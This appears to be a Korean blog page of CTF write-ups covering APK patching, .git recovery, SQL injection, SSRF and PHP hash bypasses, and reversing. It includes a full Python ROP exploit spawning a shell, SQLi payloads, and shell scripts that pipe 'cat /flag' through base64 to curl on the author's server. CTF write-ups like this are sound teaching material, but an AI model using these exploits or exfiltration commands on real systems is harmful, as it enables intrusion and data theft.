다운로드 받은 apk파일을 설치하고 보면 다음과 같이 가위바위보 개념의 화면이 나온다.

 

 

이기면 점수가 오르는 형태의 앱인것 같다.

 

디컴파일해서 핵심 로직을 보면 다음과 같다.

 

 

cnt 변수값이 이겼을때 오르는 점수를 의미하고 이 값이 1000일 때 플래그가 나온다. 플래그에 해당하는 값을 보면 (cnt+calc())*107 인데 calc()함수는 calc.so 파일 내부에 정의되어 있는걸 확인할 수 있다.

 

해당 라이브러리 파일 내의 calc()함수를 보면 간단히 7이라는 값을 리턴하고 있는걸 볼 수 있다.

 

 

그럼 결국 플래그값은 (1000+7)*107 값일 것이다.

 

실제로 확인해보기 위해 cnt 최초값을 998로 맞춘다음 2점만 더 획득하면 플래그가 나오게 한 뒤 게임에서 지면 cnt값이 0으로 초기화되는 부분을 아예 삭제시켜버렸다.

 

 

요렇게 세군데 영역을 패치했다.

const v1, 0x3E6 추가

빨간박스 두군데 삭제

 

이제 앱을 재설치하고 실행한뒤 게임에서 2번이기면 플래그가 나온다.

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

Google CTF 2017 Food  (0) 2018.02.13
su ctf 2014 (Reverse 200) Commercial Application!  (0) 2018.02.13
nullcon CTF 2018 web2  (0) 2018.02.12
Easy CTF 2018 Nosource, Jr.  (0) 2018.02.11
Codegate 2018 Welcome to droid  (0) 2018.02.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

nullcon CTF 2018 web2

CTF/Writeup 2018. 2. 12. 11:23

들어가보면 다음과 같이 아무기능이없는 페이지 하나가 나온다. 최근 ctf 풀면서 robots.txt랑 .git은 무조건 확인하고 시작하는게 정신건강에 좋다는걸 깨달아서 두개다 확인해보니 .git 디렉터리가 디렉터리 리스팅 되는걸 확인할 수 있었다.  

 

 

 

git을 따로 사용해보지도 않았고 제대로 공부해본적도 따로 없어서 ctf에서 쓸만한 간단한 명령어정도만 알고있는 상태라 이번문제풀면서 제대로한번 사용해보고 공부해봐야겠다고 느꼈다.

 

일단 지금까지 풀어본 ctf에서 git을 활용하는 측면을 보면 보통 현재 존재하는 파일들의 코드를 분석하기보다는 특정시점에 삭제된 파일들을 포인트로 잡고 복구해서 분석하는 형식이 많았다. 그래서 일단 바로 해당 git디렉터리를 모두 다운로드받은 후 로그를 출력해봤다.

 

 

 

 

위의 로그를 보면 특정 파일들이 추가된 후에 다시 삭제된 것을 확인할 수 있다. 파일이 추가되고 삭제되기전인 시점으로 돌아가 삭제된 파일들 목록을 일단 살펴봤다.

 

 

목록을 보면 3e~디렉터리에 index.php라는 파일이 존재했던걸 볼 수 있었고 해당 디렉터리에 일단 접근을 해봤다.

 

 

간단한 로그인화면이 있었고 해당 페이지의 소스를 확인해보기 위해 삭제된  index.php의 내용을 확인해 봤다.

 

giti show 096a77768a37271151786b67af92c2ca82760dff

 

 

 

 

 

코드를 보면 checklogin함수를 통해 입력값 검증을 하는데 아이디는 passwordisinrockyou , password는 crc32를 돌린 후의 값이 550274426이면 되는 걸 알 수 있었다.

 

패스워드를 구하기 위해 사전파일을 다운받은다음 파이썬 스크립트를 짜서 돌렸다.

 

 

요런식으로 패스워드가 나왔고 실제로 로그인해보면 플래그가 나온다.

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 flag를 입력하는 부분이 하나있다.


코드를 보면 다음과 같이 내가입력한 값과 global.encryptionKey값을 process함수에서 돌린다음 base64로 인코딩한 값이 소스상에있는 flag값과 같으면 된다.





process함수는 내가 입력한 flag값과 global.encryptionKey값을 아스키코드로 변환한 후 xor한 값을 다시 문자열로 변환하는 함수였다.


일단 global.encryptionKey값을 모르기 때문에 process함수안에 global.encryptionKey를 출력하는 코드를 삽입안 후 확인해보니 요런 값이 나왔다.




이제 이 값과 소스상에 나와있는 base64 인코딩된 flag값을 디코딩한 값을 아스키값으로 변환한후 xor해주면 내가 입력할 flag값을 구할 수 있다.


payload 







'CTF > Writeup' 카테고리의 다른 글

SECCON CTF 2015 reverse-engineering-android-apk-1  (0) 2018.02.12
nullcon CTF 2018 web2  (0) 2018.02.12
Codegate 2018 Welcome to droid  (0) 2018.02.09
Codegate 2018 Simple Cms Write up  (0) 2018.02.04
AceBear Security Contest 2018 BearShare2 Write up  (0) 2018.01.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

다운받은 apk을 분석하기 전에 일단 설치를 해봤다.

근데 apkmanager로 디컴파일 후 리패키징할 때 자꾸 이상한에러가떴다.

그래서그냥 apktool.jar랑 sign.jar을 이용해서 직접 리패키징 및 사이닝을 한 후에 설치를 해봤다.

 

디컴파일

 

 

여기서 바로 리패키징 하려했더니 에러가 터졌다.

 

 

에러를 보니 abc_screen_toolbarxml파일에서 Keyboard어쩌고 속성때매 에러가 났길래 해당 파일에가서 이 부분을 삭제시켜버렸다. 

 

 

이후 다시 리패키징을 하면 정상적으로 apk파일이 만들어진다.

 

 

이제 signing을 해준 후 파일을 설치해봤다.

 

 

 

근데 위의 에러가 터지면서 앱 설치가 안됬다. 뭐지하면서 여기저기 뒤져보다가 Manifast.xml에서 요런걸 발견했다.

 

 

testonly란 옵션이 뭔진 잘몰랐지만 에러구문이랑 상당히 유사해 일단 false로 바꾸고 다시 설치를 해봤더니 정상적으로 설치가 됬다.

 

 

이제 분석좀 시작해봐야겠다하고 일단 앱을 켜봤는데 앱이 실행이 안됬다. ㅋㅋ

 

여기서 멘탈이 나갈뻔 했는데 일단 코드라도 분석해보자하고 앱 코드를 좀 봤다.

 

일단 앱 자체는 상당히 작은편이었고 앱 실행 시 가장먼저 실행되는 MainActivity코드를 확인해봤더니 k라는 메소드가 false로 리턴값을 떨궈서 앱이 꺼지는걸 확인할 수 있었다.

 

 

 

smali코드에서 k메소드의 리턴값이 무조건 true로 떨어지도록 수정한 후 다시 설치해보니 앱이 정상적으로 실행되었다.

 

 

 

 

이제부터 실직적인 앱 분석을 시작해봤다.

 

앱자체가 매우 작고 코드가 간단해 분석이 어렵지는 않았다.

먼저 맨 처음 화면인 MainActivity에서는 다음과 같이 아이디값에 대한 길이 검증을 한 후 MainActivity2로 아이디값을 포함해 넘어간다.

 

 

 

다음으로 Main2activity를 보면 어떠한 랜덤값과 내가 입력한 패스워드가 같은지 검증한 후 일치하면 아이디와 패스워드 값을 담아 MainActivity3으로 넘어간다.

 

 

 

다음으로 Main3activity도 위와 같이 어떠한 랜덤한 시리얼키값과 내가 입력한 값을 비교한다. 일치하면 Main4Activity로 넘어간다.

 

 

 

마지막으로 Main4activity를 보면 해당 Activity가 호출되면 JNI를 통해 native-lib 라이브러리를 로드해 stringFromJNI라는 네이티브 메소드의 결과값을을 뿌려준다.

 

 

즉 여러개의 입력값 검증을 모두 우회해서 Main4Activity만 띄우면 된다.

 

패스워드입력값 검증 부분과 시리얼키값 검증부분을 변조하거나 아니면 앱실행시 메인 엑티비티를 Main4Activity로 만들어서 앱실행과 동시에 Main4Activity가 실행되도록 하는 두가지 방법이 있었다.

 

위의 두가지 방법중 입력값 검증부분들을 우회하는 식으로 코드를 패치했다.

 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

nullcon CTF 2018 web2  (0) 2018.02.12
Easy CTF 2018 Nosource, Jr.  (0) 2018.02.11
Codegate 2018 Simple Cms Write up  (0) 2018.02.04
AceBear Security Contest 2018 BearShare2 Write up  (0) 2018.01.29
AceBear Security Contest 2018 BearShare Write up  (0) 2018.01.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

 

 

 

 

일단 기본적으로 소스코드를 모두 제공해 준다.

 

 

코드먼저 분석해도 되지만 일단 문제자체의 어떤 기능이 있는지 직접 확인해봤다.

 

회원가입, 로그인, 패스워드 변경, 게시판 검색, 게시글 조회, 쓰기 요정도 기능이 있었다.

 

일단 기능자체가 너무적었고 해볼만한게 SQLi정도밖에없었는데 코드 안보고 그냥 테스트겸  때려봤을때는 터지는 곳이 한군데도 없었다.

 

일단 코드를 좀 봤는데 일단은 pre-compiled 형태로 쿼리가 구성되어있지는 않았다. 근데 필터링 함수랑 addslashes가 있었다.

 

 

필터링 키워드들은 그렇다 치더라도 일단 addslashes를 우회해야 뭘 하던말던 할 수 있었는데 mb_convert_encoding이나 배열형태의 파라미터도 없었고 정수형으로 처리되는 곳도 없었다. 그래서 order by나 column , table쪽으로 들어가는 쪽으로 유심히 보다가 요부분을 찾았다.

 

 

게시글 검색할때 처리하는 부분인데 입력값이 이미 필터 함수를 통해 한번 싹 검증을 거친뒤에 요 get_search_query 함수로 들어가고 해당 함수를 보면 내가 입력한 값이 컬럼명이랑 검색할 값에 세팅되는걸 볼 수 있었다.

이 때 컬럼명에 title# , 검색값에 %0a)# 요런식으로 넘겨주면 LOWER(title#) like '%%0a)#~ 요런식으로되서 인젝션이 터지는걸 확인할 수 있었다.

 

필터링 함수내에 union이랑 select이 없었기 때문에 실제로 테스트해보면 인젝션이 먹히고 있는걸 볼 수 있었다. 

 

 

이제 플래그를 찾아야 되는데 일단 information이 필터링당하고 있어서 information_schema는 쓸수가 없었다. 다운로드 받은 소스 내에 포함된 텍스트파일에 flag 테이블의 구조가 있었는데 테이블명과 컬럼명이 모두 난수화된 값으로 박혀있는 상황이라 난감한 상황이었다.

 

 

 

일단 현재 db유저 권한이 mysql db에 접근 가능한지 확인해 봤는데 다행히 권한이 있었다.

 

그래서 테이블명은 간단히 mysql.innodb_table_stats 요걸 이용해서 구해줬다.

 

 

 

이제 컬럼명을 구해서 flag값을 뽑아야되는데 어차피 테이블명알고 union이 되서 다이렉트로 뽑으려고 시도했는데 왜인지 모르게 아무값도 튀어나오지가 않았다.

 

 

여기서 삽질좀하다가 곰곰히 생각해봤다. 일단 출력되는 컬럼은 1,2,4번째 칼럼인데 union select *,1 from flag테이블 일케해주면 플래그테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼3,플래그테이블컬럼4,1 요렇게 실제로는 들어갈거고 플래그테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼4 요게 출력이 되고 있었을 거라고 생각했다. 근데 아무것도안나오는거보니 실제 플래그는 플래그테이블컬럼3 요지점에 있을거라고 생각했고 이걸 뽑으려고 요렇게 값을 넣어봤다.

 

union select 1,* from flag테이블

 

요게 들어가면 1,테이블컬럼1,플래그테이블컬럼2,플래그테이블컬럼3,플래그테이블컬럼4 이렇게되서 플래그테이블컬럼3이 나올거라고 생각했는데 이건 문법자체가 안되는거라 에러가터졌다.

 

요기서 wargame.kr adm1nky인가 요문제에서 컬럼명 모를때 데이터뽑는 쿼리가 생각나서 시도해봤더니 정상적으로 플래그가 뽑혔다.

 

 

 

풀고나서

union select 1,* from flag테이블  요런식으로는 왜 못써먹지하면서 이것저것해보다가 테이블명에 alias를 주면 union select 1,t.* from flag테이블 as t 요렇게 쓸 수 있다는걸 알았다.

 

 

요런식으로도 가능하다.

 

 

 

 

 

 

 

   

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

1단계와 같은 환경인데 다른포인트에서 인증값을 얻어야한다.

 

코드를 쭉 보다보니.

 

 shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');

 

요부분에서 뭔가 터질것 같았고 url부분을 내가 원하는값으로 완전히 컨트롤할 수 있도록 이전단계에서 했던 방식으로 $url에 messid 파라미터 값만 박힐 수 있도록 해준 뒤 url를 1로 만들어서 넘겨봤다.

 

 

입력값이 route.local 서버 경로에 입력되서 요청되고 있는걸 확인할 수 있었다. 대충 SSRF일거라고 느낌이 왔고 일단 뭔가 정보가 더 필요했는데 이전단계에서 호되게 한번 당해서 바로 robots.txt를 요청해봤더니 요렇게 응답이 왔다.

 

 

바로 해당파일을 확인해봤더니 요런식으로 코드를 볼 수 있었다.

 

 

무슨파일인진 모르겠지만 url값이 존재하면 헤더값에 flag값을 같이 포함시켜서 요청받은 url로 flag를 넘겨주는 코드였다.

 

일단 해당코드가 어느파일건지 확인해야했는데 다행히 index.php파일이 존재했고 해당파일에 url로 내 서버쪽으로으로 flag를 보내면 됬었다.

 

근데 문제가 하나더 있었는데

 

    function filter($x){
        $x = (string)$x;
        if(preg_match('/http|https|\@|\s|:|\/\//mi',$x)){
            return false;
        }
        return $x;
    }

 

요 필터링때문에 http://내아이피 요걸 써줄수가 없었다.

 

근데 일단 http://는 //로 대체가 가능하기때문에 상관이없었고 //또한 필터링되고 있어 우회를 해야했는데 더블인코딩이 먹히는 상황이라 우회가 가능했다.

 

이제 내서버에 flag값 읽어서 출력해주는 파일하나만들어놓고 이쪽으로 요청하도록 url값 넘겨줬더니 flag가 출력됬다.

 

 

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 메시지 입력하는 기능과 해당 메시지를 다운로드하는 기능이 있다.

 

 

 

여기서 처음에 입력값을 xml형태로 보내면 파싱해서 뿌려주길래 xxe겠네 하면서 계속 시도를해봤는데

external Entitiy가 활성화가 안되있어서 뭐 어쩔수가 없었다.

 

여기서 한참 멘붕에 빠져있다가 혹시몰라서 robots.txt들어가봐더니 그냥 소스를 볼수있었다. ㅡㅡ

ctf풀때는 무조건 한번은 그냥 접근해봐야 될것같다.

 

 

 

 

download.txt 소스를 보면 다음과 같은데 처음에 shell_exec부분에서 escapeshellarg가 취약점을 터질것 같아서

시도해봤는데 버전이 5.2점대가 아니라 취약점이 안터졌었다.

 

 

그래서 storagesy 파라미터 부분을 gimmeflag로 만들어야 했는데 위의 validate_hash함수에서 차단을 당하고

있었다. nonce 파라미터로 인해 만들어진 key값으로 storagesy 파라미터값이 동적으로 계속 세팅되기 때문에

마지막 if($final_hash !== $_POST['hash']){ die('Cannot verify server');} 요영역에서 계속 필터링이 걸릴 수

밖에 없었다.

 

이걸 우회를 해야하는데 hash_hmac함수에서 뭔가 터져줘야할것같았다. php함수들은 인자로 문자열대신

배열이 오는경우 예상하지못한 결과가 자주나와서 일단 $S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);

요 부분에서 2번째 파라미터값을 배열로 주게되며 어떻게되는지 로컬에서 테스트를 해봤다.

 

 

두번째 인자로 배열이 들어오면 에러가터지면서 함수가 제대로 동작안하는걸 볼 수 있었고 에러가터질경우

리턴값이 NULL로 떨어지는걸 확인할 수 있었다.

 

그렇다면 KEY값이 NULL값이기때문에 storagepy 파라미터값이 gimmeflag일때의 hash값이 고정되어진

상황이었고 해당값을 구해서 넘겨주니 flag가 나왔다.

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

환경구성은 다음과 같이 해줬다.





일단 바이너리를 실행해보면 어떤값을 입력하면 WIN이라는 문자열이 출력되고 일정값 이상 넣게되면 WIN 문자열을 출력하지 않는 것을보아 Buffer overflow가 일어난걸 알 수 있다.



보호기법을 확인해보면 다음과 같이 NX가 걸려있는걸 볼 수 있다.



현재 서버에선 라이브러리 영역에 ASLR이 활성화가 되어있기 때문에 ROP로 쉘을 따야한다.


우선 바이너리의 로직을 분석하기 위해 IDA로 보면 단순히 read를 통해 값을 입력받고 WIN을 출력해주는 프로그램이었고 read함수에서 입력값 검증이 없어서 bof가 터지는걸 알 수 있다.




일단 RET까지의 거리를 확인해보면 다음과같이 136+SFP+RET인걸 알 수 있다.



다음으로 이제 ROP 시나리오를 짜야하는데


"A"*140 + 

read@plt + pppr Gadget + stdin(0) + /bin/sh문자열 담을주소 + /bin/sh문자열 길이

write@plt + pppr Gadget + stdin(1) + read@got + 4

read@plt + pppr Gadget + stdin(0) + system주소 + 4

read@plt + "AAAA" + /bin/sh문자열 담을주소


요런식으로 전체적인 흐름을 짰다.


이제 하나하나 값을 구해주면 된다.


read@plt = 0x0804832c




read@got = 0x0804961c




write@plt = 0x0804830c




pppr Gadget = 0x080484b6






/bin/sh문자열담을주소 = 0x08049530


/bin/sh문자열을 담을 주소같은 경우 aslr이 걸려있지 않은 .bss영역을 활용하려했는데 4바이트밖에값을 못넣어서 .dynamic영역을 대신 사용해줬다.




system주소 = read함수값 - 0x8E8B0


system함수의 주소와 같은경우 aslr때문에 값이 동적으로 바뀌게 때문에 read함수와의 offset 차이를 구한뒤 동적으로 익스플로잇시에 read함수의 값에 offset차이를 더해서 system함수의 주소를 구하기 위해 read와 system함수의 offset차이를 구했다.



0x48af40 - 0x3fc690 = 0x8E8B0




이제 구한값으로 익스플로잇해주면된다.

import struct

from socket import *

from time import *



host = '127.0.0.1'

port = 6666


s = socket( AF_INET, SOCK_STREAM, 0)

s.connect( ( host, port ) )



p = lambda x:struct.pack("<L",x)

up = lambda x:struct.unpack("<L",x)[0]


dynamic =  0x08049530

write_PLT = 0x0804830c

read_PLT = 0x0804832c

read_GOT = 0x0804961c

pppr_gadget = 0x080484b6

read_system_off = 0x8E8B0

bin_sh = "/bin/sh"

lenbin_sh = len(bin_sh)

pay = "A"*140


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(dynamic)

pay += p(lenbin_sh)


pay += p(write_PLT)

pay += p(pppr_gadget)

pay += p(1)

pay += p(read_GOT)


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(read_GOT)

pay += p(4)


pay += p(read_PLT)

pay += "AAAA"

pay += p(dynamic)



s.send(pay)

sleep(1)

s.send(bin_sh)

read = up(s.recv(4))

print hex(read)


system = read - read_system_off

print hex(system)


s.send(p(system))

s.send("id\n")

sleep(6)

print s.recv(1024)






























블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같이 코드를 제공해 준다.

 

 

<?php if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; }
    
error_reporting(0); session_start
(); 
    
// Anti XSS filter
    
$_REQUEST array_map("strip_tags"$_REQUEST
);
    
// For later, when we will store infos about visitors.
    
chdir("tmp"
);
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Work in progress...</title>
        <meta charset="utf-8" />
        <meta http-equiv="content-type" content="text/html; charset=utf-8" />
        <style>
            body {
                background-color: #aaa;
                color:#fff;
            }
            
            .page {
                width: 50%;
                margin: 0 auto;
                margin-top: 75px;
            }
            
            
            .menu ul li {
                display:inline-block;
                vertical-align:top;
                margin-right: 30px;
                
            }
        </style>
    </head>
    <body>
        <div class="page">
            <div class="menu">
                <ul>
                    <li><a href="?page=default">Home</a></li>
                    <li><a href="?page=introduction">Introduction</a></li>
                    <li><a href="?page=privacy">Privacy</a></li>
                    <li><a href="?page=contactus">Contact</a></li>
                </ul>
            </div>
            
            <div class="content">
                
<?php
                        
switch($_GET['page'
]) {
                            case 
'default'
:
                            default:
                                echo 
"<p>Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!</p>"
;
                                break;
                            case 
'introduction'
:
                                echo 
"<p>Our website will introduce some new vulnerabilities. Let's check it out later!</p>"
;
                                break;
                            case 
'privacy'
:
                                echo 
"<p>This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!</p>"
;
                                break;
                            case 
'contactus'
:
                                echo 
"<p>You can't contact us for the moment, but it will be available later.</p>"
;
                                
$_SESSION['challenge'] = rand(100000,999999
);
                                break;
                            case 
'captcha'
:
                                if(isset(
$_SESSION['challenge'])) echo $_SESSION['challenge'
];
                                
// Will make an image later
                
touch($_SESSION['challenge'
]);
                                break;
                            case 
'captcha-verify'
:
                
// verification functions take a file for later, when we'll provide more way of verification
                                
function verifyFromString($file$response
) {
                                    if(
$_SESSION['challenge'] === $response) return true
;
                                    else return 
false
;
                                }
                                
                                
// Captcha from math op
                                
function verifyFromMath($file$response
) {
                                    if(eval(
"return ".$_SESSION['challenge']." ;") === $response) return true
;
                                    else return 
false
;
                                }
                                if(isset(
$_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'
])){
                                    
$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer'
]);
                                }
                                break;

                        }
                
?>
            </div>
        </div>
        <p><a href="/?hl">View code source of the file, to be sure we're secure!</a></p>
        <p><a href="/phpinfo.php">Show our configurations</a></p>
    </body>
</html>

 

 

코드를 분석해보면 page값이 contactus일 때 세션값이 랜덤한 6자리 숫자로 세팅되고 page값이 captcha 일 때 세팅된 세션값을 출력해준 후 해당값으로 파일을 만든다.

 

그 후 로직을 보면 page값이 captcha-verify일 때 answer와 method 파라미터 값을 통해 함수를 실행시키는 로직이 있는데 이 부분을 통해 php 내 주요 함수들을 실행시켜 플래그를 가져오면 될 것 같았다.

 

해당 로직은 method에 함수이름 , answer에 2번째 인자값을 넣어줄 수 있고 첫번째 인자는 위에서 세팅된 파일명이기 때문에 이를 활용할 수 있는 함수를 사용해야했다.

 

전반적인 시나리오는 다음과 같이 짰다.

 

기존의 만들어진 파일에 os 명령어를 실행할 수 있는 쉘스크립트 내용을 삽입한 후 해당 쉘스크립트 파일에 권한을 부여한 다음 php 명령어실행 함수를통해 해당 쉘스크립트 파일을 실행한다.

 

쉘 스크립트 파일 내에서 실행될 명령어는 다음과 같이 사용했다.

#!/bin/sh ls / | base64 | curl http://내IP -G -d @-

요 내용을 삽입하기 위해 다음과 같이 실행시켜줬다.

 

 

세션 생성

 

 

세션명으로 파일 생성

 

 

생성된 파일에 ls / 한 내용을 base64 인코딩시켜 내서버로 날리는 쉘스크립트 파일 내용 삽입

 

 

실제로 내용이 제대로 들어갔는지 확인

 

 

권한 부여

 

 

파일 실행(여기서 시스템명령 실행 함수가 거의다 사용못하게 되어있었는데 다행히 popen은 쓸수있었음)

 

 

로그에 찍힌 base64값 디코딩을 통해 /디렉터리 내에 flag파일확인

 

이제 마지막으로 이전과 같은 방식으로 flag파일만 출력해주면된다.

 

#!/bin/sh cat /flag | base64 | curl http://내IP -G -d @-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

AceBear Security Contest 2018 BearShare Write up  (0) 2018.01.29
Plaid CTF 2013 ropasaurusrex Write up  (0) 2018.01.28
Codegate 2017 RamG-thunder  (0) 2018.01.20
Hack.lu CTF 2013: RoboAuth  (0) 2018.01.20
Sharif University CTF 2016 : SRM  (0) 2018.01.20
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

프로그램을 실행해보면 다음과 같이 4가지 메뉴가 있고 각각 실행해보면 별다른 기능이 존재하지 않는다.

Ida로 해당부분을 보면 다음과같이 case문에 실행화면상에는 보여지지 않는 case 4에 대한 부분에 보인고 실제로 4번을 입력해보면 다음과 같이 hidden메뉴가 등장한다.

 

2번 메뉴를 눌러서 게임을 시작해보면 첫번째 단계에서 어떤 키값을 입력하라고하고 아무거나 입력해보면 2,3,4단계를 건너뛰고 바로 5단계로간다.

첫번째 키값을 계산하는 로직을 보면 간단하다. 4754947549라는 값과 내 입력값을 xor해서 MVYLXYUARJ라는 값이 나오면된다.

계산해보면 다음과 같은 값이 나온다.

해당값 넣어주고 쭉가다보면 안티디버깅함수가 나오는데 간단히 eax바꿔서 우회하면 된다.


다음으로 특정메모리 영역의 값을 C8, 59, 78이라는 값과 비교하는데 이 값에 맞게 해당 메모리영역을 세팅해주면 된다.

다음으로는 레지스트리 값에 대한 검증을 한다. RegOpenKeyEx 함수로 HKEY_CURRENT_USER 영역내에 Hellow라는 키 값이 있는지 검증하고 있다면 RegQueryValueEx란 함수로 해당 키 값내에 hellow_FishWorld란  문자열 값이 있는지 검증한다.

이에맞춰 레지스트리값을 세팅해주면된다.

다음으로는 위에서와 같이 다시한번 특정메모리영역에 대한 값을 검증한다. 0, 0C, 29로 맞춰주면 된다.

다음으로는 안티디버깅 함수를 통해 디버깅여부를 체크하는데 함수호출 후 결과가 저장되는 해당메모리 영역의 값을 0으로 바꿔주면된다.

마지막으로 다시 키값을 계산하는 로직이 나오는데 입력값과 3674231096이라는 값을 xor한 값이 [S[X]DWYJ^가 되면 되고 계산해보면 hellowfish란 값이 나오고 넣어주면 된다.


모든 과정이 끝나면 c라는 파일하나가 생성되는데 헥사에디터로보면 png파일 포맷인것을 알수있다

확장자를 png로 바꿔서 열어보면 다음과 같이 flag가 나온다.


'CTF > Writeup' 카테고리의 다른 글

Plaid CTF 2013 ropasaurusrex Write up  (0) 2018.01.28
Insomni'hack teaser 2018 VulnShop Write up  (0) 2018.01.23
Hack.lu CTF 2013: RoboAuth  (0) 2018.01.20
Sharif University CTF 2016 : SRM  (0) 2018.01.20
In CTF 2017 Challenge100 Write up  (0) 2018.01.20
블로그 이미지

JeonYoungSin

메모 기록용 공간

,